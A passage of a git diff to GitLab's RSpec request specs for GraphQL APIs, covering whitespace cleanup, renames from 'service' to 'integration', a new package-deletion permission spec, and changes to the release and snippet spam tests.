let(:message) { 'Commit message' }
diff --git a/spec/requests/api/graphql/mutations/container_expiration_policy/update_spec.rb b/spec/requests/api/graphql/mutations/container_expiration_policy/update_spec.rb
index 23e8e366483..0156142dc6f 100644
--- a/spec/requests/api/graphql/mutations/container_expiration_policy/update_spec.rb
+++ b/spec/requests/api/graphql/mutations/container_expiration_policy/update_spec.rb
@@ -53,6 +53,7 @@ RSpec.describe 'Updating the container expiration policy' do
RSpec.shared_examples 'rejecting invalid regex for' do |field_name|
context "for field #{field_name}" do
let_it_be(:invalid_regex) { '*production' }
+
let(:params) do
{
:project_path => project.full_path,
diff --git a/spec/requests/api/graphql/mutations/discussions/toggle_resolve_spec.rb b/spec/requests/api/graphql/mutations/discussions/toggle_resolve_spec.rb
index 450996bf76b..632a934cd95 100644
--- a/spec/requests/api/graphql/mutations/discussions/toggle_resolve_spec.rb
+++ b/spec/requests/api/graphql/mutations/discussions/toggle_resolve_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe 'Toggling the resolve status of a discussion' do
let_it_be(:project) { create(:project, :public, :repository) }
let_it_be(:noteable) { create(:merge_request, source_project: project) }
+
let(:discussion) do
create(:diff_note_on_merge_request, noteable: noteable, project: project).to_discussion
end
diff --git a/spec/requests/api/graphql/mutations/environments/canary_ingress/update_spec.rb b/spec/requests/api/graphql/mutations/environments/canary_ingress/update_spec.rb
index f25a49291a6..3771ae0746e 100644
--- a/spec/requests/api/graphql/mutations/environments/canary_ingress/update_spec.rb
+++ b/spec/requests/api/graphql/mutations/environments/canary_ingress/update_spec.rb
@@ -13,6 +13,7 @@ RSpec.describe 'Update Environment Canary Ingress', :clean_gitlab_redis_cache do
let_it_be(:deployment) { create(:deployment, :success, environment: environment, project: project) }
let_it_be(:maintainer) { create(:user) }
let_it_be(:developer) { create(:user) }
+
let(:environment_id) { environment.to_global_id.to_s }
let(:weight) { 25 }
let(:actor) { developer }
diff --git a/spec/requests/api/graphql/mutations/issues/set_locked_spec.rb b/spec/requests/api/graphql/mutations/issues/set_locked_spec.rb
index 4989d096925..435ed0f9eb2 100644
--- a/spec/requests/api/graphql/mutations/issues/set_locked_spec.rb
+++ b/spec/requests/api/graphql/mutations/issues/set_locked_spec.rb
@@ -8,6 +8,7 @@ RSpec.describe 'Setting an issue as locked' do
let_it_be(:current_user) { create(:user) }
let_it_be(:issue) { create(:issue) }
let_it_be(:project) { issue.project }
+
let(:input) { { locked: true } }
let(:mutation) do
diff --git a/spec/requests/api/graphql/mutations/issues/set_severity_spec.rb b/spec/requests/api/graphql/mutations/issues/set_severity_spec.rb
index 96fd2368765..41997f151a2 100644
--- a/spec/requests/api/graphql/mutations/issues/set_severity_spec.rb
+++ b/spec/requests/api/graphql/mutations/issues/set_severity_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe 'Setting severity level of an incident' do
include GraphqlHelpers
let_it_be(:user) { create(:user) }
+
let(:incident) { create(:incident) }
let(:project) { incident.project }
let(:input) { { severity: 'CRITICAL' } }
diff --git a/spec/requests/api/graphql/mutations/issues/update_spec.rb b/spec/requests/api/graphql/mutations/issues/update_spec.rb
index adfa2a2bc08..b3e1ab62e54 100644
--- a/spec/requests/api/graphql/mutations/issues/update_spec.rb
+++ b/spec/requests/api/graphql/mutations/issues/update_spec.rb
@@ -8,6 +8,7 @@ RSpec.describe 'Update of an existing issue' do
let_it_be(:current_user) { create(:user) }
let_it_be(:project) { create(:project, :public) }
let_it_be(:issue) { create(:issue, project: project) }
+
let(:input) do
{
'iid' => issue.iid.to_s,
diff --git a/spec/requests/api/graphql/mutations/jira_import/import_users_spec.rb b/spec/requests/api/graphql/mutations/jira_import/import_users_spec.rb
index 00b93984f98..45cc70f09fd 100644
--- a/spec/requests/api/graphql/mutations/jira_import/import_users_spec.rb
+++ b/spec/requests/api/graphql/mutations/jira_import/import_users_spec.rb
@@ -8,6 +8,7 @@ RSpec.describe 'Importing Jira Users' do
let_it_be(:user) { create(:user) }
let_it_be(:project) { create(:project) }
+
let(:importer) { instance_double(JiraImport::UsersImporter) }
let(:project_path) { project.full_path }
let(:start_at) { 7 }
diff --git a/spec/requests/api/graphql/mutations/jira_import/start_spec.rb b/spec/requests/api/graphql/mutations/jira_import/start_spec.rb
index e7124512ef1..b14305281af 100644
--- a/spec/requests/api/graphql/mutations/jira_import/start_spec.rb
+++ b/spec/requests/api/graphql/mutations/jira_import/start_spec.rb
@@ -8,6 +8,7 @@ RSpec.describe 'Starting a Jira Import' do
let_it_be(:user) { create(:user) }
let_it_be(:project, reload: true) { create(:project) }
+
let(:jira_project_key) { 'AA' }
let(:project_path) { project.full_path }
@@ -80,17 +81,17 @@ RSpec.describe 'Starting a Jira Import' do
end
end
- context 'when project has no Jira service' do
+ context 'when project has no Jira integration' do
it_behaves_like 'a mutation that returns errors in the response', errors: ['Jira integration not configured.']
end
- context 'when when project has Jira service' do
- let!(:service) { create(:jira_service, project: project) }
+ context 'when when project has Jira integration' do
+ let!(:service) { create(:jira_integration, project: project) }
before do
project.reload
- stub_jira_service_test
+ stub_jira_integration_test
end
context 'when issues feature are disabled' do
diff --git a/spec/requests/api/graphql/mutations/labels/create_spec.rb b/spec/requests/api/graphql/mutations/labels/create_spec.rb
index 28284408306..d19411f6c1d 100644
--- a/spec/requests/api/graphql/mutations/labels/create_spec.rb
+++ b/spec/requests/api/graphql/mutations/labels/create_spec.rb
@@ -61,6 +61,7 @@ RSpec.describe Mutations::Labels::Create do
context 'when creating a project label' do
let_it_be(:parent) { create(:project) }
+
let(:extra_params) { { project_path: parent.full_path } }
it_behaves_like 'labels create mutation'
@@ -68,6 +69,7 @@ RSpec.describe Mutations::Labels::Create do
context 'when creating a group label' do
let_it_be(:parent) { create(:group) }
+
let(:extra_params) { { group_path: parent.full_path } }
it_behaves_like 'labels create mutation'
diff --git a/spec/requests/api/graphql/mutations/merge_requests/accept_spec.rb b/spec/requests/api/graphql/mutations/merge_requests/accept_spec.rb
index 2725b33d528..19a7c72ba80 100644
--- a/spec/requests/api/graphql/mutations/merge_requests/accept_spec.rb
+++ b/spec/requests/api/graphql/mutations/merge_requests/accept_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe 'accepting a merge request', :request_store do
let_it_be(:current_user) { create(:user) }
let_it_be(:project) { create(:project, :public, :repository) }
+
let!(:merge_request) { create(:merge_request, source_project: project) }
let(:input) do
{
diff --git a/spec/requests/api/graphql/mutations/merge_requests/create_spec.rb b/spec/requests/api/graphql/mutations/merge_requests/create_spec.rb
index bf759521dc0..3a4508489a1 100644
--- a/spec/requests/api/graphql/mutations/merge_requests/create_spec.rb
+++ b/spec/requests/api/graphql/mutations/merge_requests/create_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe 'Creation of a new merge request' do
include GraphqlHelpers
let_it_be(:current_user) { create(:user) }
+
let(:project) { create(:project, :public, :repository) }
let(:input) do
{
diff --git a/spec/requests/api/graphql/mutations/merge_requests/set_assignees_spec.rb b/spec/requests/api/graphql/mutations/merge_requests/set_assignees_spec.rb
index a63116e2b94..dec9afd1310 100644
--- a/spec/requests/api/graphql/mutations/merge_requests/set_assignees_spec.rb
+++ b/spec/requests/api/graphql/mutations/merge_requests/set_assignees_spec.rb
@@ -68,7 +68,7 @@ RSpec.describe 'Setting assignees of a merge request', :assume_throttled do
context 'when the current user does not have permission to add assignees' do
let(:current_user) { create(:user) }
- let(:db_query_limit) { 28 }
+ let(:db_query_limit) { 27 }
it 'does not change the assignees' do
project.add_guest(current_user)
@@ -80,7 +80,7 @@ RSpec.describe 'Setting assignees of a merge request', :assume_throttled do
end
context 'with assignees already assigned' do
- let(:db_query_limit) { 46 }
+ let(:db_query_limit) { 39 }
before do
merge_request.assignees = [assignee2]
@@ -96,7 +96,7 @@ RSpec.describe 'Setting assignees of a merge request', :assume_throttled do
end
context 'when passing an empty list of assignees' do
- let(:db_query_limit) { 32 }
+ let(:db_query_limit) { 31 }
let(:input) { { assignee_usernames: [] } }
before do
@@ -115,7 +115,7 @@ RSpec.describe 'Setting assignees of a merge request', :assume_throttled do
context 'when passing append as true' do
let(:mode) { Types::MutationOperationModeEnum.enum[:append] }
let(:input) { { assignee_usernames: [assignee2.username], operation_mode: mode } }
- let(:db_query_limit) { 22 }
+ let(:db_query_limit) { 21 }
before do
# In CE, APPEND is a NOOP as you can't have multiple assignees
@@ -135,7 +135,7 @@ RSpec.describe 'Setting assignees of a merge request', :assume_throttled do
end
context 'when passing remove as true' do
- let(:db_query_limit) { 32 }
+ let(:db_query_limit) { 31 }
let(:mode) { Types::MutationOperationModeEnum.enum[:remove] }
let(:input) { { assignee_usernames: [assignee.username], operation_mode: mode } }
let(:expected_result) { [] }
diff --git a/spec/requests/api/graphql/mutations/metrics/dashboard/annotations/create_spec.rb b/spec/requests/api/graphql/mutations/metrics/dashboard/annotations/create_spec.rb
index 2a39757e103..5bc3c68cf26 100644
--- a/spec/requests/api/graphql/mutations/metrics/dashboard/annotations/create_spec.rb
+++ b/spec/requests/api/graphql/mutations/metrics/dashboard/annotations/create_spec.rb
@@ -9,6 +9,7 @@ RSpec.describe Mutations::Metrics::Dashboard::Annotations::Create do
let_it_be(:project) { create(:project, :private, :repository) }
let_it_be(:environment) { create(:environment, project: project) }
let_it_be(:cluster) { create(:cluster, projects: [project]) }
+
let(:dashboard_path) { 'config/prometheus/common_metrics.yml' }
let(:starting_at) { Time.current.iso8601 }
let(:ending_at) { 1.hour.from_now.iso8601 }
diff --git a/spec/requests/api/graphql/mutations/namespace/package_settings/update_spec.rb b/spec/requests/api/graphql/mutations/namespace/package_settings/update_spec.rb
index 202e7e7c333..d335642d321 100644
--- a/spec/requests/api/graphql/mutations/namespace/package_settings/update_spec.rb
+++ b/spec/requests/api/graphql/mutations/namespace/package_settings/update_spec.rb
@@ -126,6 +126,7 @@ RSpec.describe 'Updating the package settings' do
context 'without existing package settings' do
let_it_be(:namespace, reload: true) { create(:group) }
+
let(:package_settings) { namespace.package_settings }
where(:user_role, :shared_examples_name) do
diff --git a/spec/requests/api/graphql/mutations/notes/create/diff_note_spec.rb b/spec/requests/api/graphql/mutations/notes/create/diff_note_spec.rb
index b5aaf304812..8f3ae9f26f6 100644
--- a/spec/requests/api/graphql/mutations/notes/create/diff_note_spec.rb
+++ b/spec/requests/api/graphql/mutations/notes/create/diff_note_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe 'Adding a DiffNote' do
include GraphqlHelpers
let_it_be(:current_user) { create(:user) }
+
let(:noteable) { create(:merge_request, source_project: project, target_project: project) }
let(:project) { create(:project, :repository) }
let(:diff_refs) { noteable.diff_refs }
diff --git a/spec/requests/api/graphql/mutations/notes/create/image_diff_note_spec.rb b/spec/requests/api/graphql/mutations/notes/create/image_diff_note_spec.rb
index 0e5744fb64f..8f2438cb741 100644
--- a/spec/requests/api/graphql/mutations/notes/create/image_diff_note_spec.rb
+++ b/spec/requests/api/graphql/mutations/notes/create/image_diff_note_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe 'Adding an image DiffNote' do
include GraphqlHelpers
let_it_be(:current_user) { create(:user) }
+
let(:noteable) { create(:merge_request, source_project: project, target_project: project) }
let(:project) { create(:project, :repository) }
let(:diff_refs) { noteable.diff_refs }
diff --git a/spec/requests/api/graphql/mutations/notes/create/note_spec.rb b/spec/requests/api/graphql/mutations/notes/create/note_spec.rb
index 8dd8ed361ba..87c752393ea 100644
--- a/spec/requests/api/graphql/mutations/notes/create/note_spec.rb
+++ b/spec/requests/api/graphql/mutations/notes/create/note_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe 'Adding a Note' do
include GraphqlHelpers
let_it_be(:current_user) { create(:user) }
+
let(:noteable) { create(:merge_request, source_project: project, target_project: project) }
let(:project) { create(:project) }
let(:discussion) { nil }
diff --git a/spec/requests/api/graphql/mutations/notes/reposition_image_diff_note_spec.rb b/spec/requests/api/graphql/mutations/notes/reposition_image_diff_note_spec.rb
index 4efa7f9d509..89e3a71280f 100644
--- a/spec/requests/api/graphql/mutations/notes/reposition_image_diff_note_spec.rb
+++ b/spec/requests/api/graphql/mutations/notes/reposition_image_diff_note_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe 'Repositioning an ImageDiffNote' do
let_it_be(:noteable) { create(:merge_request) }
let_it_be(:project) { noteable.project }
+
let(:note) { create(:image_diff_note_on_merge_request, noteable: noteable, project: project) }
let(:new_position) { { x: 10 } }
let(:current_user) { project.creator }
diff --git a/spec/requests/api/graphql/mutations/notes/update/image_diff_note_spec.rb b/spec/requests/api/graphql/mutations/notes/update/image_diff_note_spec.rb
index 1ce09881fde..cfd0b34b815 100644
--- a/spec/requests/api/graphql/mutations/notes/update/image_diff_note_spec.rb
+++ b/spec/requests/api/graphql/mutations/notes/update/image_diff_note_spec.rb
@@ -26,6 +26,7 @@ RSpec.describe 'Updating an image DiffNote' do
let_it_be(:updated_height) { 100 }
let_it_be(:updated_x) { 5 }
let_it_be(:updated_y) { 10 }
+
let(:updated_position) do
{
width: updated_width,
diff --git a/spec/requests/api/graphql/mutations/packages/destroy_spec.rb b/spec/requests/api/graphql/mutations/packages/destroy_spec.rb
new file mode 100644
index 00000000000..e5ced419ecf
--- /dev/null
+++ b/spec/requests/api/graphql/mutations/packages/destroy_spec.rb
@@ -0,0 +1,93 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Destroying a package' do
+ using RSpec::Parameterized::TableSyntax
+
+ include GraphqlHelpers
+
+ let_it_be_with_reload(:package) { create(:package) }
+ let_it_be(:user) { create(:user) }
+
+ let(:project) { package.project }
+ let(:id) { package.to_global_id.to_s }
+
+ let(:query) do
+ <<~GQL
+ errors
+ GQL
+ end
+
+ let(:params) { { id: id } }
+ let(:mutation) { graphql_mutation(:destroy_package, params, query) }
+ let(:mutation_response) { graphql_mutation_response(:destroyPackage) }
+
+ shared_examples 'destroying the package' do
+ it 'destroy the package' do
+ expect(::Packages::DestroyPackageService)
+ .to receive(:new).with(container: package, current_user: user).and_call_original
+
+ expect { mutation_request }.to change { ::Packages::Package.count }.by(-1)
+ end
+
+ it_behaves_like 'returning response status', :success
+ end
+
+ shared_examples 'denying the mutation request' do
+ it 'does not destroy the package' do
+ expect(::Packages::DestroyPackageService)
+ .not_to receive(:new).with(container: package, current_user: user)
+
+ expect { mutation_request }.not_to change { ::Packages::Package.count }
+
+ expect(mutation_response).to be_nil
+ end
+
+ it_behaves_like 'returning response status', :success
+ end
+
+ describe 'post graphql mutation' do
+ subject(:mutation_request) { post_graphql_mutation(mutation, current_user: user) }
+
+ context 'with valid id' do
+ where(:user_role, :shared_examples_name) do
+ :maintainer | 'destroying the package'
+ :developer | 'denying the mutation request'
+ :reporter | 'denying the mutation request'
+ :guest | 'denying the mutation request'
+ :anonymous | 'denying the mutation request'
+ end
+
+ with_them do
+ before do
+ project.send("add_#{user_role}", user) unless user_role == :anonymous
+ end
+
+ it_behaves_like params[:shared_examples_name]
+ end
+ end
+
+ context 'with invalid id' do
+ let(:params) { { id: 'gid://gitlab/Packages::Package/5555' } }
+
+ it_behaves_like 'denying the mutation request'
+ end
+
+ context 'when an error occures' do
+ before do
+ project.add_maintainer(user)
+ end
+
+ it 'returns the errors in the response' do
+ allow_next_found_instance_of(::Packages::Package) do |package|
+ allow(package).to receive(:destroy!).and_raise(StandardError)
+ end
+
+ mutation_request
+
+ expect(mutation_response['errors']).to eq(['Failed to remove the package'])
+ end
+ end
+ end
+end
diff --git a/spec/requests/api/graphql/mutations/releases/delete_spec.rb b/spec/requests/api/graphql/mutations/releases/delete_spec.rb
index 3710f118bf4..40063156609 100644
--- a/spec/requests/api/graphql/mutations/releases/delete_spec.rb
+++ b/spec/requests/api/graphql/mutations/releases/delete_spec.rb
@@ -55,7 +55,7 @@ RSpec.describe 'Deleting a release' do
end
context 'when the current user has access to update releases' do
- let(:current_user) { maintainer }
+ let(:current_user) { developer }
it 'deletes the release' do
expect { delete_release }.to change { Release.count }.by(-1)
@@ -105,12 +105,6 @@ RSpec.describe 'Deleting a release' do
end
context "when the current user doesn't have access to update releases" do
- context 'when the current user is a Developer' do
- let(:current_user) { developer }
-
- it_behaves_like 'unauthorized or not found error'
- end
-
context 'when the current user is a Reporter' do
let(:current_user) { reporter }
diff --git a/spec/requests/api/graphql/mutations/snippets/create_spec.rb b/spec/requests/api/graphql/mutations/snippets/create_spec.rb
index 214c804c519..9a3cea3ca14 100644
--- a/spec/requests/api/graphql/mutations/snippets/create_spec.rb
+++ b/spec/requests/api/graphql/mutations/snippets/create_spec.rb
@@ -17,7 +17,6 @@ RSpec.describe 'Creating a Snippet' do
let(:actions) { [{ action: action }.merge(file_1), { action: action }.merge(file_2)] }
let(:project_path) { nil }
let(:uploaded_files) { nil }
- let(:spam_mutation_vars) { {} }
let(:mutation_vars) do
{
description: description,
@@ -26,7 +25,7 @@ RSpec.describe 'Creating a Snippet' do
project_path: project_path,
uploaded_files: uploaded_files,
blob_actions: actions
- }.merge(spam_mutation_vars)
+ }
end
let(:mutation) do
@@ -77,21 +76,6 @@ RSpec.describe 'Creating a Snippet' do
expect(mutation_response['snippet']).to be_nil
end
-
- context 'when snippet_spam flag is disabled' do
- before do
- stub_feature_flags(snippet_spam: false)
- end
-
- it 'passes disable_spam_action_service param to service' do
- expect(::Snippets::CreateService)
- .to receive(:new)
- .with(project: anything, current_user: anything, params: hash_including(disable_spam_action_service: true))
- .and_call_original
-
- subject
- end
- end
end
shared_examples 'creates snippet' do
@@ -101,8 +85,8 @@ RSpec.describe 'Creating a Snippet' do
end.to change { Snippet.count }.by(1)
snippet = Snippet.last
- created_file_1 = snippet.repository.blob_at('HEAD', file_1[:filePath])
- created_file_2 = snippet.repository.blob_at('HEAD', file_2[:filePath])
+ created_file_1 = snippet.repository.blob_at(snippet.default_branch, file_1[:filePath])
+ created_file_2 = snippet.repository.blob_at(snippet.default_branch, file_2[:filePath])
expect(created_file_1.data).to match(file_1[:content])
expect(created_file_2.data).to match(file_2[:content])
@@ -121,15 +105,6 @@ RSpec.describe 'Creating a Snippet' do
it_behaves_like 'snippet edit usage data counters'
it_behaves_like 'a mutation which can mutate a spammable' do
- let(:captcha_response) { 'abc123' }
- let(:spam_log_id) { 1234 }
- let(:spam_mutation_vars) do
- {
- captcha_response: captcha_response,
- spam_log_id: spam_log_id
- }
- end
-
let(:service) { Snippets::CreateService }
end
end
@@ -190,7 +165,7 @@ RSpec.describe 'Creating a Snippet' do
it do
expect(::Snippets::CreateService).to receive(:new)
- .with(project: nil, current_user: user, params: hash_including(files: expected_value))
+ .with(project: nil, current_user: user, params: hash_including(files: expected_value), spam_params: instance_of(::Spam::SpamParams))
.and_return(double(execute: creation_response))
subject
diff --git a/spec/requests/api/graphql/mutations/snippets/mark_as_spam_spec.rb b/spec/requests/api/graphql/mutations/snippets/mark_as_spam_spec.rb
index 4d499310591..43d846cb297 100644
--- a/spec/requests/api/graphql/mutations/snippets/mark_as_spam_spec.rb
+++ b/spec/requests/api/graphql/mutations/snippets/mark_as_spam_spec.rb
@@ -10,6 +10,7 @@ RSpec.describe 'Mark snippet as spam' do
let_it_be(:other_user) { create(:user) }
let_it_be(:snippet) { create(:personal_snippet) }
let_it_be(:user_agent_detail) { create(:user_agent_detail, subject: snippet) }
+
let(:current_user) { snippet.author }
let(:snippet_gid) { snippet.to_global_id.to_s }
diff --git a/spec/requests/api/graphql/mutations/snippets/update_spec.rb b/spec/requests/api/graphql/mutations/snippets/update_spec.rb
index 77efb786dcb..eb7e6f840fe 100644
--- a/spec/requests/api/graphql/mutations/snippets/update_spec.rb
+++ b/spec/requests/api/graphql/mutations/snippets/update_spec.rb
@@ -9,6 +9,7 @@ RSpec.describe 'Updating a Snippet' do
let_it_be(:original_description) { 'Initial description' }
let_it_be(:original_title) { 'Initial title' }
let_it_be(:original_file_name) { 'Initial file_name' }
+
let(:updated_content) { 'Updated content' }
let(:updated_description) { 'Updated description' }
let(:updated_title) { 'Updated_title' }
@@ -16,7 +17,6 @@ RSpec.describe 'Updating a Snippet' do
let(:updated_file) { 'CHANGELOG' }
let(:deleted_file) { 'README' }
let(:snippet_gid) { GitlabSchema.id_from_object(snippet).to_s }
- let(:spam_mutation_vars) { {} }
let(:mutation_vars) do
{
id: snippet_gid,
@@ -27,7 +27,7 @@ RSpec.describe 'Updating a Snippet' do
{ action: :update, filePath: updated_file, content: updated_content },
{ action: :delete, filePath: deleted_file }
]
- }.merge(spam_mutation_vars)
+ }
end
let(:mutation) do
@@ -82,21 +82,6 @@ RSpec.describe 'Updating a Snippet' do
end
end
- context 'when snippet_spam flag is disabled' do
- before do
- stub_feature_flags(snippet_spam: false)
- end
-
- it 'passes disable_spam_action_service param to service' do
- expect(::Snippets::UpdateService)
- .to receive(:new)
- .with(project: anything, current_user: anything, params: hash_including(disable_spam_action_service: true))
- .and_call_original
-
- subject
- end
- end
-
context 'when there are ActiveRecord validation errors' do
let(:updated_title) { '' }
@@ -125,15 +110,6 @@ RSpec.describe 'Updating a Snippet' do
end
it_behaves_like 'a mutation which can mutate a spammable' do
- let(:captcha_response) { 'abc123' }
- let(:spam_log_id) { 1234 }
- let(:spam_mutation_vars) do
- {
- captcha_response: captcha_response,
- spam_log_id: spam_log_id
- }
- end
-
let(:service) { Snippets::UpdateService }
end
@@ -164,6 +140,7 @@ RSpec.describe 'Updating a Snippet' do
describe 'ProjectSnippet' do
let_it_be(:project) { create(:project, :private) }
+
let(:snippet) do
create(:project_snippet,
:private,
diff --git a/spec/requests/api/graphql/mutations/user_callouts/create_spec.rb b/spec/requests/api/graphql/mutations/user_callouts/create_spec.rb
index cb67a60ebe4..716983f01d2 100644
--- a/spec/requests/api/graphql/mutations/user_callouts/create_spec.rb
+++ b/spec/requests/api/graphql/mutations/user_callouts/create_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe 'Create a user callout' do
include GraphqlHelpers
let_it_be(:current_user) { create(:user) }
+
let(:feature_name) { ::UserCallout.feature_names.each_key.first }
let(:input) do
diff --git a/spec/requests/api/graphql/namespace/package_settings_spec.rb b/spec/requests/api/graphql/namespace/package_settings_spec.rb
index 6af098e902f..42fd07dbdc7 100644
--- a/spec/requests/api/graphql/namespace/package_settings_spec.rb
+++ b/spec/requests/api/graphql/namespace/package_settings_spec.rb
@@ -8,6 +8,7 @@ RSpec.describe 'getting namespace package settings in a namespace' do
let_it_be(:package_settings) { create(:namespace_package_setting) }
let_it_be(:namespace) { package_settings.namespace }
let_it_be(:current_user) { namespace.owner }
+
let(:package_settings_response) { graphql_data.dig('namespace', 'packageSettings') }
let(:fields) { all_graphql_fields_for('PackageSettings') }
diff --git a/spec/requests/api/graphql/project/alert_management/alert/issue_spec.rb b/spec/requests/api/graphql/project/alert_management/alert/issue_spec.rb
index 9724de4fedb..05a98a9dd9c 100644
--- a/spec/requests/api/graphql/project/alert_management/alert/issue_spec.rb
+++ b/spec/requests/api/graphql/project/alert_management/alert/issue_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe 'getting Alert Management Alert Issue' do
let_it_be(:project) { create(:project) }
let_it_be(:current_user) { create(:user) }
+
let(:payload) { {} }
let(:query) { 'avg(metric) > 1.0' }
diff --git a/spec/requests/api/graphql/project/alert_management/alert_status_counts_spec.rb b/spec/requests/api/graphql/project/alert_management/alert_status_counts_spec.rb
index 9fbf5aaa41f..ecd93d169d3 100644
--- a/spec/requests/api/graphql/project/alert_management/alert_status_counts_spec.rb
+++ b/spec/requests/api/graphql/project/alert_management/alert_status_counts_spec.rb
@@ -9,6 +9,7 @@ RSpec.describe 'getting Alert Management Alert counts by status' do
let_it_be(:alert_resolved) { create(:alert_management_alert, :resolved, project: project) }
let_it_be(:alert_triggered) { create(:alert_management_alert, project: project) }
let_it_be(:other_project_alert) { create(:alert_management_alert) }
+
let(:params) { {} }
let(:fields) do
diff --git a/spec/requests/api/graphql/project/alert_management/integrations_spec.rb b/spec/requests/api/graphql/project/alert_management/integrations_spec.rb
index 0e029aee9e8..1793d4961eb 100644
--- a/spec/requests/api/graphql/project/alert_management/integrations_spec.rb
+++ b/spec/requests/api/graphql/project/alert_management/integrations_spec.rb
@@ -7,7 +7,7 @@ RSpec.describe 'getting Alert Management Integrations' do
let_it_be(:project) { create(:project, :repository) }
let_it_be(:current_user) { create(:user) }
- let_it_be(:prometheus_service) { create(:prometheus_service, project: project) }
+ let_it_be(:prometheus_integration) { create(:prometheus_integration, project: project) }
let_it_be(:project_alerting_setting) { create(:project_alerting_setting, project: project) }
let_it_be(:active_http_integration) { create(:alert_management_http_integration, project: project) }
let_it_be(:inactive_http_integration) { create(:alert_management_http_integration, :inactive, project: project) }
@@ -53,15 +53,15 @@ RSpec.describe 'getting Alert Management Integrations' do
end
context 'when no extra params given' do
- let(:http_integration) { integrations.first }
- let(:prometheus_integration) { integrations.second }
+ let(:http_integration_response) { integrations.first }
+ let(:prometheus_integration_response) { integrations.second }
it_behaves_like 'a working graphql query'
it { expect(integrations.size).to eq(2) }
it 'returns the correct properties of the integrations' do
- expect(http_integration).to include(
+ expect(http_integration_response).to include(
'id' => global_id_of(active_http_integration),
'type' => 'HTTP',
'name' => active_http_integration.name,
@@ -71,14 +71,14 @@ RSpec.describe 'getting Alert Management Integrations' do
'apiUrl' => nil
)
- expect(prometheus_integration).to include(
- 'id' => global_id_of(prometheus_service),
+ expect(prometheus_integration_response).to include(
+ 'id' => global_id_of(prometheus_integration),
'type' => 'PROMETHEUS',
'name' => 'Prometheus',
- 'active' => prometheus_service.manual_configuration?,
+ 'active' => prometheus_integration.manual_configuration?,
'token' => project_alerting_setting.token,
'url' => "http://localhost/#{project.full_path}/prometheus/alerts/notify.json",
- 'apiUrl' => prometheus_service.api_url
+ 'apiUrl' => prometheus_integration.api_url
)
end
end
@@ -104,7 +104,7 @@ RSpec.describe 'getting Alert Management Integrations' do
end
context 'when Prometheus Integration ID is given' do
- let(:params) { { id: global_id_of(prometheus_service) } }
+ let(:params) { { id: global_id_of(prometheus_integration) } }
it_behaves_like 'a working graphql query'
@@ -112,13 +112,13 @@ RSpec.describe 'getting Alert Management Integrations' do
it 'returns the correct properties of the Prometheus Integration' do
expect(integrations.first).to include(
- 'id' => global_id_of(prometheus_service),
+ 'id' => global_id_of(prometheus_integration),
'type' => 'PROMETHEUS',
'name' => 'Prometheus',
- 'active' => prometheus_service.manual_configuration?,
+ 'active' => prometheus_integration.manual_configuration?,
'token' => project_alerting_setting.token,
'url' => "http://localhost/#{project.full_path}/prometheus/alerts/notify.json",
- 'apiUrl' => prometheus_service.api_url
+ 'apiUrl' => prometheus_integration.api_url
)
end
end
diff --git a/spec/requests/api/graphql/project/base_service_spec.rb b/spec/requests/api/graphql/project/base_service_spec.rb
index af462c4a639..5dc0f55db88 100644
--- a/spec/requests/api/graphql/project/base_service_spec.rb
+++ b/spec/requests/api/graphql/project/base_service_spec.rb
@@ -7,9 +7,9 @@ RSpec.describe 'query Jira service' do
let_it_be(:current_user) { create(:user) }
let_it_be(:project) { create(:project) }
- let_it_be(:jira_service) { create(:jira_service, project: project) }
+ let_it_be(:jira_integration) { create(:jira_integration, project: project) }
let_it_be(:bugzilla_integration) { create(:bugzilla_integration, project: project) }
- let_it_be(:redmine_service) { create(:redmine_service, project: project) }
+ let_it_be(:redmine_integration) { create(:redmine_integration, project: project) }
let(:query) do
%(
diff --git a/spec/requests/api/graphql/project/error_tracking/sentry_detailed_error_request_spec.rb b/spec/requests/api/graphql/project/error_tracking/sentry_detailed_error_request_spec.rb
index b2b42137acf..14fabaaf032 100644
--- a/spec/requests/api/graphql/project/error_tracking/sentry_detailed_error_request_spec.rb
+++ b/spec/requests/api/graphql/project/error_tracking/sentry_detailed_error_request_spec.rb
@@ -8,6 +8,7 @@ RSpec.describe 'getting a detailed sentry error' do
let_it_be(:project_setting) { create(:project_error_tracking_setting, project: project) }
let_it_be(:current_user) { project.owner }
let_it_be(:sentry_detailed_error) { build(:detailed_error_tracking_error) }
+
let(:sentry_gid) { sentry_detailed_error.to_global_id.to_s }
let(:fields) do
<<~QUERY
diff --git a/spec/requests/api/graphql/project/error_tracking/sentry_errors_request_spec.rb b/spec/requests/api/graphql/project/error_tracking/sentry_errors_request_spec.rb
index c7d327a62af..e71e5a48ddc 100644
--- a/spec/requests/api/graphql/project/error_tracking/sentry_errors_request_spec.rb
+++ b/spec/requests/api/graphql/project/error_tracking/sentry_errors_request_spec.rb
@@ -17,6 +17,7 @@ RSpec.describe 'sentry errors requests' do
describe 'getting a detailed sentry error' do
let_it_be(:sentry_detailed_error) { build(:detailed_error_tracking_error) }
+
let(:sentry_gid) { sentry_detailed_error.to_global_id.to_s }
let(:detailed_fields) do
@@ -193,6 +194,7 @@ RSpec.describe 'sentry errors requests' do
describe 'getting a stack trace' do
let_it_be(:sentry_stack_trace) { build(:error_tracking_error_event) }
+
let(:sentry_gid) { global_id_of(Gitlab::ErrorTracking::DetailedError.new(id: 1)) }
let(:stack_trace_fields) do
diff --git a/spec/requests/api/graphql/project/issue/designs/designs_spec.rb b/spec/requests/api/graphql/project/issue/designs/designs_spec.rb
index decab900a43..def41efddde 100644
--- a/spec/requests/api/graphql/project/issue/designs/designs_spec.rb
+++ b/spec/requests/api/graphql/project/issue/designs/designs_spec.rb
@@ -8,6 +8,7 @@ RSpec.describe 'Getting designs related to an issue' do
let_it_be(:design) { create(:design, :with_smaller_image_versions, versions_count: 1) }
let_it_be(:current_user) { design.project.owner }
+
let(:design_query) do
<<~NODE
designs {
@@ -124,6 +125,7 @@ RSpec.describe 'Getting designs related to an issue' do
context 'with versions' do
let_it_be(:version) { design.versions.take }
+
let(:design_query) do
<<~NODE
designs {
@@ -165,6 +167,7 @@ RSpec.describe 'Getting designs related to an issue' do
